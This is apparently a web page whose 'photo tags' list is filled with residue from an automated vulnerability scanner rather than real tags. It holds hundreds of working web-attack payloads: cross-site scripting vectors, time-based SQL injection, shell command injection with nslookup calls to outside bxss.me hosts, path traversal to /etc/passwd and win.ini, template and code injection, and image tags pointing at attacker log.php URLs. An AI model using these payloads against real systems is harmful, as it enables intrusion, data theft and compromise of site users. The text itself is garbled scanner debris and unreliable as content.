×
照片标签：
- e
- VAJQKAaC
- e<esi:include src="http://bxss.me/rpb.png"/>
- ${10000324+9999489}
- e&n939495=v956417
- '"()
- HttP://bxss.me/t/xss.html?%00
- 12345'"\'\")
- '+response.write(9095714*9940509)+'
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- "+"A".concat(70-3).concat(22*4).concat(114).concat(84).concat(120).concat(86)+(require"socket" Socket.gethostbyname("hitft"+"ixryaqrx7227b.bxss.me.")[3].to_s)+"
- ../../../../../../../../../../../../../../etc/passwd
- )
- /xfs.bxss.me
- bxss.me/t/xss.html?%00
- "+response.write(9095714*9940509)+"
- ../../../../../../../../../../../../../../windows/win.ini
- !(()&&!|*|*|
- '+'A'.concat(70-3).concat(22*4).concat(102).concat(82).concat(122).concat(83)+(require'socket' Socket.gethostbyname('hitju'+'hvkmbazx76fa0.bxss.me.')[3].to_s)+'
- '.gethostbyname(lc('hitel'.'mqcgnltq4468e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(90).chr(110).chr(73).'
- bibs
- '"
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- ^(#$!@#$)(()))******
- ".gethostbyname(lc("hitse"."jmhzfwtcd6757.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(82).chr(104).chr(85)."
- <!--
- 1some_inexistent_file_with_long_name.jpg
- bibs/.
- Http://bxss.me/t/fit.txt
- '
- http://bxss.me/t/fit.txt?.jpg
- "
- bxss.me
- ${@print(md5(31337))}
- ../e
- echo pcbejj$()\ sodnnd\nz^xyu||a #' &echo pcbejj$()\ sodnnd\nz^xyu||a #|" &echo pcbejj$()\ sodnnd\nz^xyu||a #
- ${@print(md5(31337))}\
- &echo jjfmez$()\ gnfcis\nz^xyu||a #' &echo jjfmez$()\ gnfcis\nz^xyu||a #|" &echo jjfmez$()\ gnfcis\nz^xyu||a #
- '.print(md5(31337)).'
- e'"()&%<acx><ScRiPt >6np8(9102)</ScRiPt>
- |echo lfrutn$()\ rzmaml\nz^xyu||a #' |echo lfrutn$()\ rzmaml\nz^xyu||a #|" |echo lfrutn$()\ rzmaml\nz^xyu||a #
- (nslookup hityczbxmuhik385e2.bxss.me||perl -e "gethostbyname('hityczbxmuhik385e2.bxss.me')")
- $(nslookup hittsibukktgo75d65.bxss.me||perl -e "gethostbyname('hittsibukktgo75d65.bxss.me')")
- '"()&%<acx><ScRiPt >6np8(9786)</ScRiPt>
- &(nslookup hitqkinlrpdnl5db73.bxss.me||perl -e "gethostbyname('hitqkinlrpdnl5db73.bxss.me')")&'\"`0&(nslookup hitqkinlrpdnl5db73.bxss.me||perl -e "gethostbyname('hitqkinlrpdnl5db73.bxss.me')")&`'
- |(nslookup hitaoshwmxhqk34943.bxss.me||perl -e "gethostbyname('hitaoshwmxhqk34943.bxss.me')")
- e9453049
- `(nslookup hitmcslrdivjkcabb0.bxss.me||perl -e "gethostbyname('hitmcslrdivjkcabb0.bxss.me')")`
- acu9101＜s1﹥s2ʺs3ʹuca9101
- acux5551z1z2abcxuca5551
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu9044＜s1﹥s2ʺs3ʹuca9044
- acux7905z1z2abcxuca7905
- acu5133＜s1﹥s2ʺs3ʹuca5133
- acux9274z1z2abcxuca9274
- e"onmouseover=6np8(90682)"
- e" zWqj=6np8([!+!]) 9tb="
- e\u0022onmouseover=6np8(91393)\u0022
- %65%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%36%6E%70%38%28%39%34%35%33%34%29%22
- "onmouseover=6np8(96165)//
- ZbSGyYZp
- -1 OR 2+539-539-1=0+0+0+1 --
- e"sTYLe='acu:Expre/**/SSion(6np8(9403))'bad="
- -1 OR 2+653-653-1=0+0+0+1
- -1' OR 2+39-39-1=0+0+0+1 --
- e"><script>6np8(9403)</script>
- -1' OR 2+622-622-1=0+0+0+1 or 'bpf4oCOH'='
- -1" OR 2+881-881-1=0+0+0+1 --
- e<ScRiPt >6np8(9106)</ScRiPt>
- e<WQZS0Q>MMX2K[!+!]</WQZS0Q>
- if(now()=sysdate()
- sleep(15)
- 0)
- e<script>6np8(9243)</script>
- e<ScR<ScRiPt>IpT>6np8(9211)</sCr<ScRiPt>IpT>
- e<ScRiPt >6np8(9474)</ScRiPt>
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- e<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9121></ScRiPt>
- e<ScRiPt >6np8(9974)</ScRiPt>
- e<svg onload=6np8(9092)
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- e<isindex type=image src=1 onerror=6np8(9019)>
- e<iframe src='data:text/html
- e<body onload=6np8(9076)>
- e<img src=//xss.bxss.me/t/dot.gif onload=6np8(9366)>
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- e<img src=xyz OnErRor=6np8(9416)>
- e<img/src=">" onerror=alert(9219)>
- %65%3C%53%63%52%69%50%74%20%3E%36%6E%70%38%289190%29%3C%2F%73%43%72%69%70%54%3E
- 1 waitfor delay '0:0:15' --
- e\u003CScRiPt\6np8(9683)\u003C/sCripT\u003E
- e<
- <img acu onmouseover=6np8(99531) //>
- e<input autofocus onfocus=6np8(9922)>
- kHiyaxA8'
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- e}body{acu:Expre/**/SSion(6np8(9637))}
- e<% contenteditable onresize=6np8(9523)>
- ejSlPc <ScRiPt >6np8(9395)</ScRiPt>
- e<WGVBOH>IMIJP[!+!]</WGVBOH>
- ALw0z8pw' OR 115=(SELECT 115 FROM PG_SLEEP(15))--
- e<ifRAme sRc=9403.com></IfRamE>
- e<nWZXd5 x=9681>
- e<img sRc='http://attacker-9801/log.php?
- e<3zIVjQ<
- q6SJAFWG') OR 858=(SELECT 858 FROM PG_SLEEP(15))--
- GKubHNNR')) OR 271=(SELECT 271 FROM PG_SLEEP(15))--
- e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1%2527%2522
- @@vCTgP
- 1
- 1DlmvTSNrgO
- 1<esi:include src="http://bxss.me/rpb.png"/>
- tNuUU0FZ
- ${10000168+10000481}
- 1&n918923=v907768
- "+"A".concat(70-3).concat(22*4).concat(119).concat(65).concat(116).concat(68)+(require"socket" Socket.gethostbyname("hitsv"+"wdarkwbp75544.bxss.me.")[3].to_s)+"
- '.gethostbyname(lc('hitsz'.'omdmtwdy957ae.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(81).chr(113).chr(81).'
- response.write(9402103*9191281)
- '+'A'.concat(70-3).concat(22*4).concat(113).concat(74).concat(105).concat(66)+(require'socket' Socket.gethostbyname('hitur'+'sazywvyz37619.bxss.me.')[3].to_s)+'
- ".gethostbyname(lc("hitec"."kitbmmch721a9.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(76).chr(97).chr(69)."
- '+response.write(9402103*9191281)+'
- "+response.write(9402103*9191281)+"
- 1'"()&%<acx><ScRiPt >jWkd(9063)</ScRiPt>
- ../1
- '"()&%<acx><ScRiPt >jWkd(9954)</ScRiPt>
- echo riqdhv$()\ oqajwi\nz^xyu||a #' &echo riqdhv$()\ oqajwi\nz^xyu||a #|" &echo riqdhv$()\ oqajwi\nz^xyu||a #
- &echo efwwba$()\ cevxaz\nz^xyu||a #' &echo efwwba$()\ cevxaz\nz^xyu||a #|" &echo efwwba$()\ cevxaz\nz^xyu||a #
- 19485285
- |echo eovvdq$()\ qaqiad\nz^xyu||a #' |echo eovvdq$()\ qaqiad\nz^xyu||a #|" |echo eovvdq$()\ qaqiad\nz^xyu||a #
- (nslookup hityzpbamcvmx80b58.bxss.me||perl -e "gethostbyname('hityzpbamcvmx80b58.bxss.me')")
- $(nslookup hithhuqjzlodpe5664.bxss.me||perl -e "gethostbyname('hithhuqjzlodpe5664.bxss.me')")
- acu9393＜s1﹥s2ʺs3ʹuca9393
- &(nslookup hitmpwfygdicz45e93.bxss.me||perl -e "gethostbyname('hitmpwfygdicz45e93.bxss.me')")&'\"`0&(nslookup hitmpwfygdicz45e93.bxss.me||perl -e "gethostbyname('hitmpwfygdicz45e93.bxss.me')")&`'
- |(nslookup hithcuuoniytu40619.bxss.me||perl -e "gethostbyname('hithcuuoniytu40619.bxss.me')")
- acux5029z1z2abcxuca5029
- `(nslookup hitjvgpvsyxpce0d8b.bxss.me||perl -e "gethostbyname('hitjvgpvsyxpce0d8b.bxss.me')")`
- J2z53NBX
- -1 OR 2+156-156-1=0+0+0+1 --
- -1 OR 2+575-575-1=0+0+0+1
- -1' OR 2+344-344-1=0+0+0+1 --
- -1' OR 2+538-538-1=0+0+0+1 or 's5GiqqJK'='
- -1" OR 2+954-954-1=0+0+0+1 --
- -1
- -1)
- acu10699＜s1﹥s2ʺs3ʹuca10699
- nJYClyK5'
- acux8859z1z2abcxuca8859
- -5) OR 495=(SELECT 495 FROM PG_SLEEP(15))--
- -1)) OR 129=(SELECT 129 FROM PG_SLEEP(15))--
- 4aFxwAQ5' OR 514=(SELECT 514 FROM PG_SLEEP(15))--
- DqrrPeYr') OR 854=(SELECT 854 FROM PG_SLEEP(15))--
- lQSbi3rl')) OR 464=(SELECT 464 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- @@qIk2b
- acu5023＜s1﹥s2ʺs3ʹuca5023
- acux2415z1z2abcxuca2415
- 1"onmouseover=jWkd(92252)"
- 1" HAY1=jWkd([!+!]) XaT="
- 1\u0022onmouseover=jWkd(92343)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%6A%57%6B%64%28%39%33%37%32%34%29%22
- "onmouseover=jWkd(91115)//
- 1"sTYLe='acu:Expre/**/SSion(jWkd(9241))'bad="
- 1"><script>jWkd(9634)</script>
- 1<ScRiPt >jWkd(9552)</ScRiPt>
- 1<WYFDRM>CIP7T[!+!]</WYFDRM>
- 1<script>jWkd(9627)</script>
- 1<ScR<ScRiPt>IpT>jWkd(9395)</sCr<ScRiPt>IpT>
- 1<ScRiPt >jWkd(9082)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9277></ScRiPt>
- 1<ScRiPt >jWkd(9302)</ScRiPt>
- 1<svg onload=jWkd(9537)
- 1<isindex type=image src=1 onerror=jWkd(9923)>
- 1<iframe src='data:text/html
- 1<body onload=jWkd(9544)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=jWkd(9598)>
- 1<img src=xyz OnErRor=jWkd(9590)>
- 1<img/src=">" onerror=alert(9792)>
- %31%3C%53%63%52%69%50%74%20%3E%6A%57%6B%64%289007%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\jWkd(9822)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=jWkd(95551) //>
- 1<input autofocus onfocus=jWkd(9396)>
- 1}body{acu:Expre/**/SSion(jWkd(9861))}
- 1<% contenteditable onresize=jWkd(9752)>
- 1049d7 <ScRiPt >jWkd(9845)</ScRiPt>
- 1<WNGPE9>4EBLX[!+!]</WNGPE9>
- 1<ifRAme sRc=9100.com></IfRamE>
- 1<jQhktb x=9778>
- 1<img sRc='http://attacker-9146/log.php?
- 1<8CXYyJ<
- 9sRlwi2L
- ${9999385+9999265}
- response.write(9537576*9457358)
- 1&n922679=v969230
- '.gethostbyname(lc('hituq'.'ccoayhfc2ff0c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(78).chr(115).chr(75).'
- '+response.write(9537576*9457358)+'
- "+"A".concat(70-3).concat(22*4).concat(109).concat(87).concat(111).concat(74)+(require"socket" Socket.gethostbyname("hitwf"+"zjbunwwe91cb5.bxss.me.")[3].to_s)+"
- ".gethostbyname(lc("hitiq"."izoekddh615c4.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(69).chr(122).chr(79)."
- "+response.write(9537576*9457358)+"
- '+'A'.concat(70-3).concat(22*4).concat(106).concat(83).concat(121).concat(88)+(require'socket' Socket.gethostbyname('hitpq'+'ewgrciyue79fb.bxss.me.')[3].to_s)+'
- echo untriy$()\ nntkya\nz^xyu||a #' &echo untriy$()\ nntkya\nz^xyu||a #|" &echo untriy$()\ nntkya\nz^xyu||a #
- &echo elijjn$()\ ojbeex\nz^xyu||a #' &echo elijjn$()\ ojbeex\nz^xyu||a #|" &echo elijjn$()\ ojbeex\nz^xyu||a #
- 1'"()&%<acx><ScRiPt >QJBt(9499)</ScRiPt>
- |echo hmfwss$()\ xfiijr\nz^xyu||a #' |echo hmfwss$()\ xfiijr\nz^xyu||a #|" |echo hmfwss$()\ xfiijr\nz^xyu||a #
- (nslookup hitfpbaazsytx6bb15.bxss.me||perl -e "gethostbyname('hitfpbaazsytx6bb15.bxss.me')")
- '"()&%<acx><ScRiPt >QJBt(9723)</ScRiPt>
- $(nslookup hitibebgcjujx11747.bxss.me||perl -e "gethostbyname('hitibebgcjujx11747.bxss.me')")
- &(nslookup hitcorhfuyabe436e9.bxss.me||perl -e "gethostbyname('hitcorhfuyabe436e9.bxss.me')")&'\"`0&(nslookup hitcorhfuyabe436e9.bxss.me||perl -e "gethostbyname('hitcorhfuyabe436e9.bxss.me')")&`'
- 19956752
- |(nslookup hitbtobqktotg233f0.bxss.me||perl -e "gethostbyname('hitbtobqktotg233f0.bxss.me')")
- `(nslookup hitlyzmwqwbcua00de.bxss.me||perl -e "gethostbyname('hitlyzmwqwbcua00de.bxss.me')")`
- acu4428＜s1﹥s2ʺs3ʹuca4428
- acux10306z1z2abcxuca10306
- hCuna375
- -1 OR 2+835-835-1=0+0+0+1 --
- -1 OR 2+272-272-1=0+0+0+1
- -1' OR 2+644-644-1=0+0+0+1 --
- -1' OR 2+302-302-1=0+0+0+1 or '4aed8RC8'='
- -1" OR 2+139-139-1=0+0+0+1 --
- acu4660＜s1﹥s2ʺs3ʹuca4660
- acux2327z1z2abcxuca2327
- jEpmJ2lx'
- -5 OR 905=(SELECT 905 FROM PG_SLEEP(15))--
- -5) OR 119=(SELECT 119 FROM PG_SLEEP(15))--
- -1)) OR 119=(SELECT 119 FROM PG_SLEEP(15))--
- Fi2ReB4v' OR 990=(SELECT 990 FROM PG_SLEEP(15))--
- Y9aRuKIi') OR 811=(SELECT 811 FROM PG_SLEEP(15))--
- b5qw8FRx')) OR 889=(SELECT 889 FROM PG_SLEEP(15))--
- acu7903＜s1﹥s2ʺs3ʹuca7903
- @@xHXtj
- acux7245z1z2abcxuca7245
- 1"onmouseover=QJBt(97812)"
- 1" FrYK=QJBt([!+!]) kTv="
- 1\u0022onmouseover=QJBt(94343)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%51%4A%42%74%28%39%37%36%30%34%29%22
- "onmouseover=QJBt(95715)//
- 1"sTYLe='acu:Expre/**/SSion(QJBt(9042))'bad="
- 1"><script>QJBt(9086)</script>
- 1<ScRiPt >QJBt(9580)</ScRiPt>
- 1<WZWGXF>GIG8P[!+!]</WZWGXF>
- 1<script>QJBt(9256)</script>
- 1<ScR<ScRiPt>IpT>QJBt(9719)</sCr<ScRiPt>IpT>
- 1<ScRiPt >QJBt(9393)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9600></ScRiPt>
- 1<ScRiPt >QJBt(9676)</ScRiPt>
- 1<svg onload=QJBt(9098)
- 1<isindex type=image src=1 onerror=QJBt(9449)>
- 1<body onload=QJBt(9966)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=QJBt(9042)>
- 1<img src=xyz OnErRor=QJBt(9725)>
- 1<img/src=">" onerror=alert(9575)>
- %31%3C%53%63%52%69%50%74%20%3E%51%4A%42%74%289638%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\QJBt(9592)\u003C/sCripT\u003E
- <img acu onmouseover=QJBt(94511) //>
- 1<input autofocus onfocus=QJBt(9916)>
- 1}body{acu:Expre/**/SSion(QJBt(9088))}
- 1<% contenteditable onresize=QJBt(9584)>
- 1YJM25 <ScRiPt >QJBt(9875)</ScRiPt>
- 1<W16FOY>ET9MK[!+!]</W16FOY>
- 1<ifRAme sRc=9427.com></IfRamE>
- 1<JKCsBp x=9188>
- 1<img sRc='http://attacker-9715/log.php?
- 1<skDMxQ<
